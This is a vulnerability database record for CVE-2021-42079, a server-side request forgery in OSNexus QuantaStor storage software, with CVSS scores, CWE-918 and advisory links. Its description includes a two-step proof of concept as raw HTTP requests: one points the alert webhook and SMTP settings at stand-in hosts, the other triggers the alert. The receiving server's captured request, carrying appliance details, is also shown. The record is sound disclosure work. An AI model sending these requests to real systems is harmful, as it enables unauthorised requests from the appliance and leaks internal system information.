fkie_cve-2021-42079
Vulnerability from fkie_nvd
Published
2023-07-10 16:15
Modified
2025-09-22 07:15
Severity ?
6.2 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
4.9 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Summary
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
References
csirt@divd.nlhttps://cisrt.divd.nl/DIVD-2021-00020/
csirt@divd.nlhttps://csirt.divd.nl/CVE-2021-42079Third Party Advisory
csirt@divd.nlhttps://www.osnexus.com/products/software-defined-storageProduct
csirt@divd.nlhttps://www.wbsec.nl/osnexusThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42079Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storageProduct
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexusThird Party Advisory
Impacted products
Vendor Product Version
osnexus quantastor *


To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a\u0026smtpServerIpAddress=BURPCOLLABHOST\u0026smtpServerPort=25\u0026smtpUsername=a\u0026smtpPassword=1\u0026smtpAuthType=1\u0026customerSupportEmailAddress=1\u0026poolFreeSpaceWarningThreshold=1\u0026poolFreeSpaceAlertThreshold=1\u0026poolFreeSpaceCriticalAlertThreshold=1\u0026pagerDutyServiceKey=1\u0026slackWebhookUrl=http://\u003ctarget\u003e\u0026enableAlertTypes\u0026enableAlertTypes=1\u0026disableAlertTypes=1\u0026pauseAlertTypes=1\u0026mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test\u0026message=test\u0026severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n\u2003\n### Python FLASK stuff ####\n\n\u2003\u0027endpoint\u0027: \u0027index\u0027, \n\u2003\n\u0027method\u0027: \u0027POST\u0027, \n\u2003\n\u0027cookies\u0027: ImmutableMultiDict([]), \n\u2003\n### END Python FLASK stuff ####\n\n\u2003\n\u0027data\u0027: b\u0027{ \n\u2003\u2003\"attachments\": [ \n\u2003\u2003\u2003{\n\n\u2003\u2003\u2003\u2003\"fallback\": \"[122] test / test.\",\n\n\u2003\u2003\u2003\u2003\"color\": \"#aa2222\",\n\n\u2003\u2003\u2003\u2003\"title\": \"[122] test\",\n\n\u2003\u2003\u2003\u2003\"text\": \"test\",\n\n\u2003\u2003\u2003\u2003\"fields\": [ \u00a0 \n\u2003\u2003\u2003\u2003\u2003{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Alert Severity\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"CRITICAL\",\n     \u00a0 \u00a0\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"Appliance\", \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n  \u00a0 \u00a0 \n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System / Driver / Kernel Ver\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": false \u00a0\n\n\u2003\u2003\u2003\u2003\u2003}, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"System Startup\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"Fri Aug \u00a06 16-02-55 2021\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003     }, \u00a0{ \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"title\": \"SSID\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \u00a0 \u00a0\n\n\u2003\u2003\u2003\u2003\u2003\u2003\"short\": true \u00a0\n\n\u2003\u2003\u2003\u2003\u2003},\n\u2003\u2003\u2003\u2003],\n\n\u2003\u2003\u2003\u2003\"footer\": \"QuantaStor Call-home Alert\",\n\n\u2003\u2003\u2003\u2003\"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n\u2003\u2003\u2003\u2003\"ts\": 1628461774\n\u2003\u2003\u2003}\n\u2003\u2003], \n\u2003\u2003\"mrkdwn\":true \n\u2003}\u0027, \n\u2003#### FLASK REQUEST STUFF #####\n\n\u2003\u0027headers\u0027: {\n\n\u2003\u2003\u0027Host\u0027: \u0027\u003credacted\u003e\u0027, \n\u2003\u2003\u0027User-Agent\u0027: \u0027curl/7.58.0\u0027, \n\u2003\u2003\u0027Accept\u0027: \u0027*/*\u0027, \n\u2003\u2003\u0027Content-Type\u0027: \u0027application/json\u0027, \n\u2003\u2003\u0027Content-Length\u0027: \u0027790\u0027\n\n\u2003}, \n\u2003\u0027args\u0027: ImmutableMultiDict([]), \n\u2003\u0027form\u0027: ImmutableMultiDict([]), \n\u2003\u0027remote_addr\u0027: \u0027217.103.63.173\u0027, \n\u2003\u0027path\u0027: \u0027/payload/58\u0027, \n\u2003\u0027whois_ip\u0027: \u0027TNF-AS, NL\u0027\n}\n\n#### END FLASK REQUEST STUFF #####"
    }
  ],
  "id": "CVE-2021-42079",
  "lastModified": "2025-09-22T07:15:38.950",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.7,
        "impactScore": 4.0,
        "source": "csirt@divd.nl",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2023-07-10T16:15:47.467",
  "references": [
    {
      "source": "csirt@divd.nl",
      "url": "https://cisrt.divd.nl/DIVD-2021-00020/"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42079"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "csirt@divd.nl",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://csirt.divd.nl/CVE-2021-42079"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://www.divd.nl/DIVD-2021-00020"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Product"
      ],
      "url": "https://www.osnexus.com/products/software-defined-storage"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.wbsec.nl/osnexus"
    }
  ],
  "sourceIdentifier": "csirt@divd.nl",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "csirt@divd.nl",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}


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